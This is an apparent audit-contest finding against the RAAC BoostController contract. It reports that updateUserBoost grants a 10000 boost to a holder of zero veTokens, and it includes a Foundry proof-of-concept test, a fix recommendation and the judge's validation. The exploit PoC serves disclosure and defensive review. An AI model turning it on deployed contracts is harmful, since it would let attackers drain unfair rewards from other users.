Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

User can fraudulently increase their boost amount without holding any veTokens

[H-1] User can fraudulently increase their boost amount without holding any veTokens

Summary

There's a ulnerability in the BoostController contract that allows an attacker to fraudulently increase their boost amount without holding any veTokens. The exploit takes advantage of improper validation in the BoostController::updateUserBoost function, leading to an unintended boost allocation.

Vulnerability Details

The function BoostController::_calculateBoost(user, pool, 10000) does not verify whether the user actually holds any veTokens before assigning a new boost. This allows an attacker to gain a fraudulent boost amount of 10000 even with zero veTokens.

Impact

  • Unauthorized increase in user boost values.

  • Inflation of pool boost values leading to unfair rewards distribution.

  • Potential financial loss due to an attacker receiving undeserved incentives.

Proof of concept

Steps to Exploit:

  1. Attacker initializes with zero veTokens.

  2. Calls BoostContract::updateUserBoost(attacker, pool);

  3. The function assigns an unjustified boost of 10000.

  4. The attacker's boost amount and the pool's total boost are incorrectly updated.

contract BoostExploitTest is Test {
RAACToken raacToken;
veRAACToken veRAACTokenContract;
MockPool pool;
address owner;
BoostController boostContract;
address attacker = address(0xBEEF);
address public victim;
uint256 constant SWAP_TAX_RATE = 100; // 1%
uint256 constant BURN_TAX_RATE = 50; // 0.5%
function setUp() public {
owner = makeAddr("owner");
victim = makeAddr("vitcim");
vm.startPrank(owner);
raacToken = new RAACToken(owner, SWAP_TAX_RATE, BURN_TAX_RATE);
veRAACTokenContract = new veRAACToken(address(raacToken));
// Deploy BoostExploitPoC contract
boostContract = new BoostController(address(veRAACTokenContract));
pool = new MockPool();
// Add the pool to supported pools
raacToken.setMinter(owner);
boostContract.modifySupportedPool(address(pool), true);
raacToken.mint(attacker, 100 ether);
vm.stopPrank();
}
function testBoostExploit_POC() public {
(
uint256 userAmount,
uint256 userExpiry,
address userDelegatedTo,
uint256 userLastUpdateTime
) = boostContract.getUserBoost(attacker, address(pool));
(
uint256 totalBoost,
uint256 workingSupply,
uint256 baseSupply,
uint256 lastUpdateTime
) = boostContract.getPoolBoost(address(pool));
assertEq(userAmount, 0);
assertEq(totalBoost, 0);
// Call updateUserBoost with attacker (should get 0 boost but will get 10000)
vm.prank(attacker);
boostContract.updateUserBoost(attacker, address(pool));
// Check if attacker's boost was fraudulently increased
(
userAmount,
userExpiry,
userDelegatedTo,
userLastUpdateTime
) = boostContract.getUserBoost(attacker, address(pool));
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostContract
.getPoolBoost(address(pool));
// The boost should be 0 but gets set to 10000 due to bug
assertEq(userAmount, 10000);
assertEq(totalBoost, 10000);
}
}

Tools Used

Manual review

Recommendations

  • Proper veToken Balance Check: Before updating the user's boost, ensure that BoostController::_calculateBoost correctly verifies the user's veToken holdings.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost uses hardcoded 10000 base amount, storing basis points instead of actual boosted amount

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::updateUserBoost uses hardcoded 10000 base amount, storing basis points instead of actual boosted amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!